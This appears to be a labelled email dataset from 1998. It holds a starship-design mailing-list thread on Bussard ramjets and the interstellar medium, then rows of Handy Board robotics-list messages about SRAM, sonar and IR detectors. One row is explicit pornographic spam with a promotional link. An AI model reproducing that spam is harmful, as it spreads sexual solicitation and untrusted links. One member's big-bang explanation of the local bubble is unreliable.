Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: VentureStar . Gallery . Images . Cameras (http://www.venturestar.com/pages/gall Date: Tue, 15 Sep 1998 06:59:26 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0001_01BDE076.61804180 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Take a look at this site... http://www.venturestar.com/pages/gallery/cameras/assemblycams.cgi ------=_NextPart_000_0001_01BDE076.61804180 Content-Type: application/octet-stream; name=""VentureStar . Gallery . Images . Cameras.url"" Content-Disposition: attachment; filename=""VentureStar . Gallery . Images . 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""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 349 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA23788 for starship-design-outgoing; Mon, 21 Sep 1998 11:03:04 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA23780 for starship-design@lists.uoregon.edu; Mon, 21 Sep 1998 11:03:02 -0700 (PDT) Received: from imo15.mx.aol.com (imo15.mx.aol.com [198.81.17.5]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id XAA02208 for ; Sun, 20 Sep 1998 23:22:17 -0700 (PDT) Received: from GVoigt8259@aol.com by imo15.mx.aol.com (IMOv16.10) id 2YBNa17798 for ; Mon, 21 Sep 1998 02:21:33 -0400 (EDT) Message-ID: <95a17861.3605f06d@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: Casablanca - Windows sub 214 Precedence: bulk Reply-To: GVoigt8259@aol.com From: GVoigt8259@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Interstellar travel-using vacuum..ur point? Date: Mon, 21 Sep 1998 02:21:33 EDT Hi sir, Forgive me, I'm just a lowly chemist with a huge interest in astronomy and physics. The most plausible and acheivable goal for an STL (Slower than light) ship sounds like a Bussard RAMJET (Elegent design) which could attain speeds in excess of 50% the speed of light. You have a better idea? i want to know. write me back Garth Voigt >From VM Mon Sep 21 13:24:54 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""820"" ""Mon"" ""21"" ""September"" ""1998"" ""12:19:47"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""25"" ""Re: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 820 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id MAA00936 for starship-design-outgoing; Mon, 21 Sep 1998 12:19:51 -0700 (PDT) Received: from jason01.u.washington.edu (root@jason01.u.washington.edu [140.142.70.24]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id MAA00925 for ; Mon, 21 Sep 1998 12:19:48 -0700 (PDT) Received: from dante30.u.washington.edu (nlindber@dante30.u.washington.edu [140.142.15.104]) by jason01.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA50126 for ; Mon, 21 Sep 1998 12:19:47 -0700 Received: from localhost (nlindber@localhost) by dante30.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA21704 for ; Mon, 21 Sep 1998 12:19:47 -0700 In-Reply-To: <95a17861.3605f06d@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: starship design Subject: Re: starship-design: Interstellar travel-using vacuum..ur point? Date: Mon, 21 Sep 1998 12:19:47 -0700 (PDT) On Mon, 21 Sep 1998 GVoigt8259@aol.com wrote: > Hi sir, > > Forgive me, I'm just a lowly chemist with a huge interest in astronomy and > physics. The most plausible and acheivable goal for an STL (Slower than > light) ship sounds like a Bussard RAMJET (Elegent design) which could attain > speeds in excess of 50% the speed of light. > > You have a better idea? i want to know. write me back > > Garth Voigt > The Bussard ramjet idea is indeed elegant. Unfortunately, the interstellar medium is too thin to make this really practical. Also, i understand that the interstellar medium is especially thin locally for some reason (i forget). Bad luck. Check out the L.I.T pages having to do with the engine for the ""Explorer"" type starship, I think it's explained better there.` Best regards, Nels Lindberg >From VM Mon Sep 21 13:24:54 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""828"" ""Mon"" ""21"" ""September"" ""1998"" ""14:17:00"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""20"" ""Re: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 828 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id MAA01049 for starship-design-outgoing; Mon, 21 Sep 1998 12:20:02 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id MAA01017 for ; Mon, 21 Sep 1998 12:19:59 -0700 (PDT) Received: from OEMComputer (pm6-106.gpt.infi.net [207.0.195.106]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id PAA06501 for ; Mon, 21 Sep 1998 15:19:57 -0400 (EDT) Message-ID: <3606C24C.16D1@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <95a17861.3605f06d@aol.com> <3606C214.5CC1@sunherald.infi.net> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar travel-using vacuum..ur point? Date: Mon, 21 Sep 1998 14:17:00 -0700 GVoigt8259@aol.com wrote: > > Hi sir, > > Forgive me, I'm just a lowly chemist with a huge interest in astronomy and > physics. The most plausible and acheivable goal for an STL (Slower than > light) ship sounds like a Bussard RAMJET (Elegent design) which could attain > speeds in excess of 50% the speed of light. > > You have a better idea? i want to know. write me back A Bussard Ramjet will get you up to 30%c, if interstellar hydrogen fuel is abundant enough, but will not go much faster. Drag with the interstellar medium will soon equal thrusting ratio, and acceleration will cease. This is not my idea, but one gleaned from quite a bit of study on ramjets. If you want to really use the vacuum of space for travel, you are venturing into something completely different, and not yet understood. Kyle R. Mcallister >From VM Mon Sep 21 15:52:07 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1139"" ""Mon"" ""21"" ""September"" ""1998"" ""21:54:05"" ""+0100"" ""A West"" ""andrew@hmm.u-net.com"" nil ""24"" ""Re: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1139 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA00464 for starship-design-outgoing; Mon, 21 Sep 1998 15:44:50 -0700 (PDT) Received: from mserv1a.u-net.net (mserv1a.u-net.net [195.102.240.34]) by darkwing.uoregon.edu (8.8.8/8.8.8) with SMTP id PAA00397 for ; Mon, 21 Sep 1998 15:44:46 -0700 (PDT) Received: from (daishi) [195.102.195.183] by mserv1a.u-net.net with smtp (Exim 1.82 #2) id 0zLEhB-0003zH-00; Mon, 21 Sep 1998 23:44:37 +0100 Message-Id: <3.0.1.32.19980921215405.0088a100@mail.u-net.com> X-Sender: andrew-hmm@mail.u-net.com (Unverified) X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <3606C24C.16D1@sunherald.infi.net> References: <95a17861.3605f06d@aol.com> <3606C214.5CC1@sunherald.infi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: A West From: A West Sender: owner-starship-design@lists.uoregon.edu To: ""Kyle R. Mcallister"" , starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar travel-using vacuum..ur point? Date: Mon, 21 Sep 1998 21:54:05 +0100 >> Forgive me, I'm just a lowly chemist with a huge interest in astronomy and >> physics. The most plausible and acheivable goal for an STL (Slower than >> light) ship sounds like a Bussard RAMJET (Elegent design) which could attain >> speeds in excess of 50% the speed of light. >> >> You have a better idea? i want to know. write me back > >A Bussard Ramjet will get you up to 30%c, if interstellar hydrogen fuel >is abundant enough, but will not go much faster. Drag with the >interstellar medium will soon equal thrusting ratio, and acceleration >will cease. This is not my idea, but one gleaned from quite a bit of >study on ramjets. If you want to really use the vacuum of space for >travel, you are venturing into something completely different, and not >yet understood. I believe there is increasing evidence that there are chains of organic molecules evenly spread throught space (I assume this means through-out our galaxy...) which could possibly explain away some of the 99% missing matter we can observe through gravitational effects. If you could use this as fuel, then there would be an abundant supply. Andrew West >From VM Tue Sep 22 16:36:49 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""56"" ""Tue"" ""22"" ""September"" ""1998"" ""16:52:08"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""5"" ""RE: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 56 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA15589 for starship-design-outgoing; Tue, 22 Sep 1998 14:52:58 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id OAA15560 for ; Tue, 22 Sep 1998 14:52:55 -0700 (PDT) Received: from lparker (p225.gnt.com [204.49.89.225]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id QAA17904; Tue, 22 Sep 1998 16:52:47 -0500 Message-ID: <000301bde673$3f71ebe0$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""N. Lindberg"" Cc: ""Starship Design"" Subject: RE: starship-design: Interstellar travel-using vacuum..ur point? Date: Tue, 22 Sep 1998 16:52:08 -0500 Nels, Bubbles, we're in the middle of a bubble... Lee >From VM Tue Sep 22 16:36:49 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1313"" ""Tue"" ""22"" ""September"" ""1998"" ""16:52:11"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""30"" ""FW: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1313 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA15558 for starship-design-outgoing; Tue, 22 Sep 1998 14:53:00 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id OAA15506 for ; Tue, 22 Sep 1998 14:52:51 -0700 (PDT) Received: from lparker (p225.gnt.com [204.49.89.225]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id QAA17915 for ; Tue, 22 Sep 1998 16:52:51 -0500 Message-ID: <000401bde673$40c19d60$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: FW: starship-design: Interstellar travel-using vacuum..ur point? Date: Tue, 22 Sep 1998 16:52:11 -0500 Sorry, I sent this to Garth and forgot to cc the group... -----Original Message----- From: L. Parker [mailto:lparker@cacaphony.net] Sent: Tuesday, September 22, 1998 4:44 PM To: GVoigt8259@aol.com Subject: RE: starship-design: Interstellar travel-using vacuum..ur point? Garth, The original Bussard Ramjet concept, although meeting the basic interstellar drive requirements of not carrying around huge amounts of fuel, quickly runs into problems. Space is not homogeneous, that is, the concentration of interstellar hydrogen and other matter is not consistent throughout space. It is thought that a concentration of hydrogen of 1 atom per cubic centimeter is necessary for a ramjet to work. Unfortunately, our solar system is located in the middle of a giant cosmic ""soap bubble"" where the interior concentrations of hydrogen are far lower than what is necessary for a ramjet. I'm not so sure about Kyle's assertion that drag places an upper limit of .3c on a ramjet's velocity. I have also studied them for almost twenty years and don't recall having ever seen that statement. (Kyle, citation please?) It may be that once the craft is up to a certain speed, the ""apparent"" density might be great enough to sustain a decent acceleration. Perhaps a hybrid between onboard tankage and scoop collection... Lee >From VM Wed Sep 23 10:00:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""142"" ""Tue"" ""22"" ""September"" ""1998"" ""19:49:09"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""11"" ""RE: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 142 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id TAA03255 for starship-design-outgoing; Tue, 22 Sep 1998 19:49:11 -0700 (PDT) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id TAA03246 for ; Tue, 22 Sep 1998 19:49:09 -0700 (PDT) Received: from dante09.u.washington.edu (nlindber@dante09.u.washington.edu [140.142.15.35]) by jason05.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA38928 for ; Tue, 22 Sep 1998 19:49:10 -0700 Received: from localhost (nlindber@localhost) by dante09.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA57298 for ; Tue, 22 Sep 1998 19:49:09 -0700 In-Reply-To: <000301bde673$3f71ebe0$e15931cc@lparker> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: starship design Subject: RE: starship-design: Interstellar travel-using vacuum..ur point? Date: Tue, 22 Sep 1998 19:49:09 -0700 (PDT) On Tue, 22 Sep 1998, L. Parker wrote: > Nels, > > Bubbles, we're in the middle of a bubble... > > Lee > Lee, What causes the bubble? Nels >From VM Wed Sep 23 10:00:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""215"" ""Tue"" ""22"" ""September"" ""1998"" ""22:13:44"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""8"" ""Re: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 215 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA09355 for starship-design-outgoing; Tue, 22 Sep 1998 20:16:50 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA09337 for ; Tue, 22 Sep 1998 20:16:42 -0700 (PDT) Received: from OEMComputer (pm5-24.gpt.infi.net [207.0.195.24]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id XAA19979 for ; Tue, 22 Sep 1998 23:16:40 -0400 (EDT) Message-ID: <36088388.2361@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar travel-using vacuum..ur point? Date: Tue, 22 Sep 1998 22:13:44 -0700 > What causes the bubble? > Nels Nearby supernova explosion. The shock front cleanses the region surrouding the supernova of interstellar elements (hydrogen, helium, rarer heavy elements, etc.) Kyle R. Mcallister >From VM Wed Sep 23 10:00:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2098"" ""Tue"" ""22"" ""September"" ""1998"" ""22:30:26"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""36"" ""Re: FW: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2098 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA13466 for starship-design-outgoing; Tue, 22 Sep 1998 20:33:26 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA13444 for ; Tue, 22 Sep 1998 20:33:24 -0700 (PDT) Received: from OEMComputer (pm5-24.gpt.infi.net [207.0.195.24]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id XAA01486 for ; Tue, 22 Sep 1998 23:33:22 -0400 (EDT) Message-ID: <36088772.3ACF@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <000401bde673$40c19d60$e15931cc@lparker> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: FW: starship-design: Interstellar travel-using vacuum..ur point? Date: Tue, 22 Sep 1998 22:30:26 -0700 > I'm not so sure about Kyle's assertion that drag places an upper limit of > .3c on a ramjet's velocity. I have also studied them for almost twenty years > and don't recall having ever seen that statement. (Kyle, citation please?) My mistake...it wasn't 30%c; it was 10%c as an upper limit. Nick Herbert, PhD, has done his work on this, and here is your requested citation: ""In 1960 Robert Bussard of TRW Corporation proposed using the interstellar medium itself--which contains a few hydrogen atoms per cubic centimeter--as a rocket fuel. The fact that the ships fuel is obtained from the outside eliminates the exhaust-velocity limit; the Bussard jet is capable of efficiently accelerating to speeds greater than its own exhaust. The Bussard ramjet would employ an enormous scoop constructed out of electromagnetic fields to collect and funnel hydrogen into a nuclear-reaction motor. The Bussard jet actually becomes more efficient at high speeds, because the faster it goes, the more hydrogen it collects. Many science fiction writers have used Bussard ramjets in their flights of fancy, however the Bussard principle suffers from the fact that at high ship speeds the fuel is not standing still but impacts the ship's scoop at enormous velocity. The incoming fuel constitutes a huge headwind, which becomes increasingly difficult to overcome as the ship goes faster. The speed of the Bussard jet soon reaches an upper limit--about 10 percent of light speed--where thrust is equal to wind resistance and the ship can accelerate no further."" That from Nick Herbert's book ""Faster than light: superluminal loopholes in physics."" It might get you to 30%c in this thinned out region, if you can get enough fuel. But then, there is our viscious fuel/velocity circle again. It's just my opinion, and I don't want to start a thread on this, but we need two things if we ever wish to seriously attempt interstellar flight: 1. A way to interact with spacetime to provide fuel-less propulsion, and 2. A method of travelling faster than light. Both of which I believe are possible. Kyle R. Mcallister >From VM Wed Sep 23 10:00:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""459"" ""Tue"" ""22"" ""September"" ""1998"" ""22:38:02"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""15"" ""RE: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 459 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA14420 for starship-design-outgoing; Tue, 22 Sep 1998 20:39:03 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA14415 for ; Tue, 22 Sep 1998 20:39:00 -0700 (PDT) Received: from lparker (p211.gnt.com [204.49.89.211]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id WAA11082; Tue, 22 Sep 1998 22:38:58 -0500 Message-ID: <000a01bde6a3$925f0380$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""N. Lindberg"" Cc: ""Starship Design"" Subject: RE: starship-design: Interstellar travel-using vacuum..ur point? Date: Tue, 22 Sep 1998 22:38:02 -0500 > Lee, > What causes the bubble? > Nels > Something about the big bang and chaos and the way the universe formed. I don't remember the whole theory, but I know that they have been able to model it using chaos theory. Anyway, the Universe looks like a big tub full of soap bubbles with most of the stars and matter concentrated in the ""film"" of the bubbles. We aren't in the ""film"", we're in the middle of one. I've got a picture around here somewhere. Lee >From VM Wed Sep 23 10:00:39 1998 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""3604"" ""Wed"" ""23"" ""September"" ""1998"" ""09:52:45"" ""+0100"" ""Walker, Chris"" ""Chris.Walker@BSKYB.COM"" ""<199809230843.JAA04936@ns0.sky.co.uk>"" ""63"" ""RE: FW: starship-design: Interstellar travel-using vacuum..ur poi nt?"" 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Date: Wed, 23 Sep 1998 09:52:45 +0100 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01BDE6CF.44B010D0 Content-Type: text/plain Kyle, regarding the discussion on the Bussard ramjet, you mentioned that: > we need two things if we ever wish to seriously attempt > interstellar flight: 1. A way to interact with spacetime to provide > fuel-less propulsion, and 2. A method of travelling faster than light. > Both of which I believe are possible. I agree with both statements. However, I am curious as to your reason(s) *why* you believe FTL travel is possible. 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""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 951 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id CAA06793 for starship-design-outgoing; Wed, 23 Sep 1998 02:05:39 -0700 (PDT) Received: from sabik.tdb.uu.se (WLTi40TCeQxuAmHWsBb6idwfGiZJwz4U@sabik.tdb.uu.se [130.238.138.70]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id CAA06779 for ; Wed, 23 Sep 1998 02:05:36 -0700 (PDT) Received: from localhost (f96bni@localhost) by sabik.tdb.uu.se (8.8.8/8.8.8/STUD_1.1) with SMTP id LAA04411; Wed, 23 Sep 1998 11:05:26 +0200 (MET DST) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <199809230843.JAA04936@ns0.sky.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu To: ""Walker, Chris"" cc: starship-design@lists.uoregon.edu Subject: RE: FW: starship-design: Interstellar travel-using vacuum..ur poi nt? Date: Wed, 23 Sep 1998 11:05:25 +0200 (MET DST) On Wed, 23 Sep 1998, Walker, Chris wrote: > Kyle, > > regarding the discussion on the Bussard ramjet, you mentioned that: > > > we need two things if we ever wish to seriously attempt > > interstellar flight: 1. A way to interact with spacetime to provide > > fuel-less propulsion, and 2. A method of travelling faster than light. > > Both of which I believe are possible. > > I agree with both statements. However, I am curious as to your reason(s) > *why* you believe FTL travel is possible. > > Chris Walker > Well I would also be VERY interested in WHY you think FTL is posible... However I do not fully agree that those two condintions are that neccesary, as long as you can fulfill the 1st one (reactionless drives) then you can probably build a reasonably unexpensive (in global terms) starship to get to the nearby stars in a decade or so. That should be enough for the so called ""planet-hoping"" method of space conquest IMO. Bjorn",0,1 Bill James ,dprglist@dprg.org,"Mon, 24 Aug 1998 08:17:47 -0700",32K static CMOS RAM bad?,"I am having some problems with my handyboard and before going out and buying a new chip, I thought I might get some confirmation. The board works okay, but no longer stores the program. I can download the pcode and it stays when the board is powered down. But if I download a small program it is lost after powerdown. It will run the program okay, I just cant reset it. The programs that I am downloading are not very big. I was thinking it was the SRAM, being that it is what holds the programs when the board is powered off. Questions, Ideas. I was reading thru the EEtimes and came across an IR emitter diode. 660mW at 880 nm. The company is located in Plano. Clairex at 972.422.4676. Their website is kinda of sparse: www.clairex.com Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Bill James ,handyboard@media.mit.edu,"Mon, 24 Aug 1998 08:28:09 -0700",Sonar board?,"Jim, Congrats on getting the board to ping and read. If you believe you circuit is good, I would be willing to buy a board and etch some at the RBNO tommorow. That is if you have it laid out. I would give you a board for your hard work. Tell me and I will stop by Frys today. Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Rick Moll ,Bill James ,"Mon, 24 Aug 1998 12:27:44 -0500",Re: 32K static CMOS RAM bad?,"Bill James wrote: > I am having some problems with my handyboard and before going out and buying a > new chip, I thought I might get some confirmation. The board works okay, but no > longer stores the program. I can download the pcode and it stays when the board > is powered down. But if I download a small program it is lost after powerdown. > It will run the program okay, I just cant reset it. The programs that I am > downloading are not very big. > > I was thinking it was the SRAM, being that it is what holds the programs when > the board is powered off. It sounds like the SRAM is just fine. Is your battery charged up??? If so, you may want to check out the battery backup circuit for the SRAM. In the HB assembly instructions there is a test to verify that the SRAM has voltage to it even when the HB is switched off. I would suggest rerunning that test. Later, Rick ",0,0 Eddie Padilla ,handyboard@media.mit.edu,"Mon, 24 Aug 1998 09:31:08 -0400",Just attractive Eighteen suckingg Dicck!," refined Hussies doing fine bloowjob! http://playspotplay.info/fpthporn.htm?iSPhfd.fX,hj R,,E,M,O,\\/,E http://playspotplay.info ",1,1 jluijk ,'Handyboard Mailing List' ,"Mon, 24 Aug 1998 22:33:50 +0100",polaroid,"LS. I read something about the sonarboard. Bill James did write to Jim about Jim finding a solution for some board. I am interested in any solution to make my polaroid board work. It doesn't even make a sound. It doesn't work at all.....?? I wonder why I see BJ writing J but I don't see a message from Jim ? Jan Luijk. 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",0,0 anton_attanayake@rd.qms.com,handyboard@media.mit.edu,"Tue, 25 Aug 1998 10:29:12 -0600",No subject given," Hay guys, Could some one tell me where can I buy a unassembled HB. Is it hard to assembled a HB? Thanks, -anton ",0,0 Victor Ruiz ,handyboard@media.mit.edu,"Tue, 25 Aug 1998 14:14:52 -0400",Re: Infrared Detector," Hi to all, I would like to know if somebody knows where can I found the address of an electronic distributor that sell individual 'infrared detector' IS1U60 from SHARP, I was looking in many electronic sites and the minimun is 50 pcs. I only need 2 or 3 for my own handyboard. Or... could somebody to sell me 2 pcs.? I pay the mail and all around it. Thanks in advance for your help... :-) Victor G. Ruiz Aranda ruizvic@mx1.ibm.com ",0,0 Rick Moll ,Victor Ruiz ,"Tue, 25 Aug 1998 14:01:48 -0500",Re: Infrared Detector,"Victor Ruiz wrote: > Hi to all, I would like to know if somebody knows where can I found the address > of an electronic distributor that sell individual 'infrared detector' IS1U60 > from SHARP, I was looking in many electronic sites and the minimun is 50 pcs. I > only need 2 or 3 for my own handyboard. > Or... could somebody to sell me 2 pcs.? I pay the mail and all around it. You might want to consider just using the more commonly available metal can IR detectors. I think they are even available at Radio Shack, and I think DigiKey sells them as well. The pinouts are *not* the same, so you'll need to work out some connector arrangement. We've built 20 HandyBoards now here at MARS (Missouri Area Robotics Society) in St. Louis; and the only part we've had trouble finding is the IS1U60. I think the IR detector is more useful with a cable anyway, so why not just use the metal can version? Later, Rick ",0,0 Victor Ruiz ,rickmoll@mvp.net,"Tue, 25 Aug 1998 16:03:22 -0400",Re: Infrared Detector," Hi Rick; I apreciated your response too much. Do you have the part number for the infrared detector? Victor G. Ruiz Aranda ruizvic@mx1.ibm.com T/L 877-7306. Ph Number 011-523-669-7306 GPL Guadalajara, Jal. Mexico. rickmoll@mvp.net on 08/25/98 02:02:29 PM Please respond to rickmoll@mvp.net To: Victor Ruiz/Mexico/IBM@IBMMX cc: rickmoll@mvp.net, handyboard@media.mit.edu Subject: Re: Infrared Detector Victor Ruiz wrote: > Hi to all, I would like to know if somebody knows where can I found the address > of an electronic distributor that sell individual 'infrared detector' IS1U60 > from SHARP, I was looking in many electronic sites and the minimun is 50 pcs. I > only need 2 or 3 for my own handyboard. > Or... could somebody to sell me 2 pcs.? I pay the mail and all around it. You might want to consider just using the more commonly available metal can IR detectors. I think they are even available at Radio Shack, and I think DigiKey sells them as well. The pinouts are *not* the same, so you'll need to work out some connector arrangement. We've built 20 HandyBoards now here at MARS (Missouri Area Robotics Society) in St. Louis; and the only part we've had trouble finding is the IS1U60. I think the IR detector is more useful with a cable anyway, so why not just use the metal can version? Later, Rick ",0,0 Jeroen van der Vegt ,HandyBoard mailing list ,"Tue, 25 Aug 1998 22:08:07 +0200",Analogue sonar design.,"Hi all, I'm trying to build a sonar circuit and connect it to my HandyBoard. I know Polaroid makes one, but I have no idea where to get it for little in Europe. I try to keep the interface as simple as possible, and I'll probably be 